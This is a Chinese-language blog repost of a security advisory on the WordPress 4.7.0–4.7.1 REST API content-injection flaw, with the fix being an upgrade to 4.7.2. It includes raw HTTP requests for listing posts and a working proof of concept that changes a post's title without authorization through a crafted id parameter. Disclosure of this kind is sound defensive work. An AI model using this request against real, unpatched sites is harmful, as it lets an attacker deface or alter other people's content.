IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    WordPress REST API 文章编辑漏洞

    91Ri管理团队发表于 2017-02-07 11:22:43
    love 0

    WordPress最近曝出内容注入漏洞,影响到REST API——来自Sucuri的安全研究人员最先发现该漏洞。

    未经授权的攻击者利用该漏洞可注入恶意内容,以及进行提权,对文章、页面等内容进行修改。REST API是最近添加到WordPress 4.7.0并默认启用的。

    鉴于WordPress使用的广泛性,该漏洞的影响还是比较大的。使用 WordPress REST API 是简便高效的通过 JSON 格式传输数据访问或控制 WordPress 站点内容的方法。API 提供了对用户、文章、分类等不同功能的控制,也可以通过 API 检索或修改文章。

    WordPress REST API 插件在 4.70 集成到 WordPress 中,由于权限控制失效导致内容注入或修改。WordPress开发团队已经与Sucuri配合在最新的4.7.2版本中修复了该漏洞。

    漏洞名称:

    WordPress REST API 内容注入/权限提升

    影响版本:

    4.7.0 – 4.7.1

    漏洞详情:

    WordPress 在 4.7.0 版本后集成了原 REST API 插件的功能

    Permalinks设置为非Plain模式

    使用 WordPress 程序的网站首页上会有:

    <link rel="https://api.w.org/" href="http://www.xxx.com/wp-json/">

    API 地址则为:http://www.xxx.com/wp-json/

    查看文章列表

    GET /index.php/wp-json/wp/v2/posts HTTP/1.1
    
    Host: xxx.net
    
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
    
    Content-Length: 4

    根据文章列表可以找到对应的id

    检索文章

    GET /index.php/wp-json/wp/v2/posts/500 HTTP/1.1
    
    Host: xxx.net
    
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
    
    Content-Length: 4

    修改文章

    POST /index.php/wp-json/wp/v2/posts/500?id=500 HTTP/1.1
    
    Host: xxx.net
    
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
    
    Content-Type: application/json
    
    Content-Length: 43
    
    {"title":"x x x x"}

    如果返回 401 则无权限修改

    详细的 API 使用方法见:http://v2.wp-api.org/

    漏洞PoC:

    POST /index.php/wp-json/wp/v2/posts/500?id=500a HTTP/1.1
    
    Host: xxx.net
    
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
    
    Content-Type: application/json
    
    Content-Length: 43
    
    {"title":"xxxx"}

    返回 200 修改成功

    修复方案:

    升级到 4.7.2

    参考来源:

    https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html

    http://v2.wp-api.org/

    新年期间都在忙活工作上的事情,没有关注到wordpress出漏洞,所以昨天被利用更改了网站某篇文章内容。

    晚到的新年快乐,有博客的记得及时升级:)

    * 本文作者漏洞盒子,转载请注明来自FreeBuf.COM



沪ICP备19023445号-2号
友情链接